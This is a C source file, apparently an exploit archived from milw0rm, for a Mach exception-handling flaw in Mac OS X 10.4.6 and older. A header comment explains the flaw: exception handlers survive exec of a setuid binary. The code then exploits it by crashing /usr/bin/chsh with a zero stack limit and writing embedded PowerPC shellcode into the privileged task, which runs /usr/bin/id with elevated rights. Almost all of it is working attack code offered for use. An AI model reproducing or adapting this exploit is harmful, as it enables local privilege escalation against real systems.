/* excploit.c - 28 Nov 2005 - xmath@math.leidenuniv.nl
*
* Exploitable Mach Exception Handling
*
* Affected: Mac OS X 10.4.6 (darwin 8.6.0) and older
*
* When a process executes a setuid executable, all existing rights to the
* task port are invalidated, to make sure unauthorized processes do not
* retain control of the process. Exception handlers however remain installed,
* and when some kind of hardware exception occurs, the exception handler can
* receive a new right to the task port as one of its arguments, and thus
* regain full control over the process.
*
* Interestingly, the code to reset the exception handlers (and hence thwart
* this attack) upon exec() of a setuid executable has been present in the
* kernel since OSX 10.3, but is disabled (#if 0) for unspecified reasons.
*
* This exploit installs an exception handler on illegal memory access, forks
* off a child (the handler is inherited), and uses RLIMIT_STACK to cause a
* segfault after exec(). The shell code invokes /usr/bin/id.
*
* Greetings to Scrippie and #vuln
*
*/
#include <sys/resource.h>
#include <sys/wait.h>
#include <unistd.h>
#include <mach/mach.h>
extern boolean_t exc_server(mach_msg_header_t *, mach_msg_header_t *);
int main(void) {
mach_port_t self = mach_task_self(), exc;
mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &exc);
mach_port_insert_right(self, exc, exc, MACH_MSG_TYPE_MAKE_SEND);
task_set_exception_ports(self, EXC_MASK_BAD_ACCESS, exc,
EXCEPTION_STATE_IDENTITY, PPC_THREAD_STATE);
if (fork()) {
mach_msg_server_once(exc_server, 512, exc, 0);
wait(NULL);
} else {
static struct rlimit rl;
setrlimit(RLIMIT_STACK, &rl);
execl("/usr/bin/chsh", "chsh", NULL);
}
return 0;
}
static long implant[] = {
0x48000015, 0x00000000, 0x00100000, 0x00000000,
0x00100000, 0x7ca802a6, 0x38600003, 0x38850000,
0x380000c3, 0x44000002, 0x60000000, 0x38600000,
0x38000017, 0x44000002, 0x60000000, 0x38600000,
0x380000b5, 0x44000002, 0x60000000, 0x38650068,
0x38850074, 0x90640000, 0x3800003b, 0x44000002,
0x60000000, 0x38000001, 0x44000002, 0x2f757372,
0x2f62696e, 0x2f696400, 0x00000000, 0x00000000,
};
kern_return_t catch_exception_raise_state_identity(mach_port_t exc, thread_t t,
task_t task, exception_type_t e, exception_data_t ed,
mach_msg_type_number_t edsz, int *f, thread_state_t *is,
mach_msg_type_number_t isz, thread_state_t *os) {
vm_allocate(task, os, sizeof implant, TRUE);
vm_write(task, *os, implant, sizeof implant);
return KERN_SUCCESS;
}
// milw0rm.com [2006-09-30]